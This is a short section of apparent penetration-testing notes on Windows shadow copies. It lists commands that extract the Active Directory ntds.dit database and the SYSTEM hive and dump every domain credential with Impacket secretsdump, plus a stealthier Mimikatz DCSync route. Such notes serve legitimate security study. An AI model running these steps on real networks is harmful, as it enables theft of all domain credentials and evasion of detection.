8. Shadow Copies

• Shadow Copy, a.k.a. Volume Shadow Service (VSS), is a Microsoft backup technology that allows for creation of snapshots of files and volumes.
• Managed through vshadow.exe.
• As a domain admin one can extract the AD NTDS.dit database file and extract credentials offline.

Extract ntds.dit AD Database:

1. As domain admin in elevated Powershell run:

vshadow.exe -nw -p  C:

2. Copy the extracted file to root folder:

copy <shadow-copy-device-name>\windows\ntds\ntds.dit c:\ntds.dit.bak

3. Save the SYSTEM hive from windows registry:

reg.exe save hklm\system c:\system.bak

4. Move the two files to Kali and use Impacket to extract credentials:

impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL

Alternative OpSec Method:

1. Compromise DC.
2. Get Mimikatz to machine.
3. Dump hashes for all users individually through DCSync attacks.